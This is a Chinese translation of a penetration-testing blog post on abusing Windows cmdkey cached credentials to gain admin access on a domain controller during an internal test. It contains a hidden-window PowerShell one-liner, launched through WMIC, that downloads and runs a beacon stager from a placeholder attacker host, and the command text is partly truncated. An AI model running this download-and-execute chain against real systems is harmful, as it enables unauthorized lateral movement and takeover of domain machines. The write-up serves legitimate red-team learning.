最近,我在Windows系统上探索缓存明文凭证方法的过程中,发现了一个非常有趣的工具:cmdkey.exe。Cmdkey是一个内置的Windows工具,可以用来缓存在特定目标机器上使用的域用户凭证。您可以从下列地址查看来自Microsoft的相关文档:https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx。
总起来说,我对cmdkey的下列特点非常感兴趣:
允许我们以普通域用户的身份来显示和创建凭证
它通常用于在远程系统上执行管理任务
看上去,这个工具貌似可以用来提升权限呀!所以,我决定进行深入研究,并尝试将其应用于一个内部渗透测试场景。
场景:您已经在一台域用户工作站上建立了一个,但是该账户不仅没有本地管理员权限,也没有在其他系统上进行提权。不过,该用户有一个用于远程管理的辅助帐户,同时,为了方便起见,该用户还使用了cmdkey来缓存各种凭证。
最初的beacon C2只有普通域用户帐户,并且没有其他权限。
好的……现在,我们已经建立了一个beacon C2,并且它没有任何特权,接下来,让我们通过cmdkey /list命令来显示缓存的各种凭证。
通过“cmdkey /list”显示缓存的凭证时,我们发现了一些有趣的东西……
通过进一步检查该用户的详细信息,我们发现这次中了个大奖——我们的系统上面竟然缓存了一个管理员用户的凭证。
现在,这里缓存的大部分凭证都是用于下拉文件或访问远程系统上的资源。不过,作为渗透测试人员,我想做一些更加有用的事情。在渗透测试期间,我会经常通过WMIC启动一个远程PowerShell进程来建立新的C2频道,以便下载和执行beacon stager。该命令如下所示:
wmic /node:
-w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://beacon_IP/a'))\""
让我们使用cmdkey缓存的凭证来尝试一下。
成功啦!
确实管用!Windows知道为WMIC命令使用缓存的凭证,这样我们就能够在目标机器(恰好是一个域控制器)上建立一个管理beacon。这是非常有用的,因为它不需要对目标账户进行任何形式的提权,就能够提升我们的访问权限。显然,这种情况不会经常出现。但是,我们能够很容易找出这种情形——只需使用“cmdkey / list”,就能马上找到是否有迅速提升访问权限的缓存凭证了。祝阅读愉快!
原文地址:https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation
本文翻译:mssp299
本文属于安全脉搏原创金币奖励计划
转载请参考:https://www.secpulse.com/archives/61458.html
领取专属 10元无门槛券
私享最新 技术干货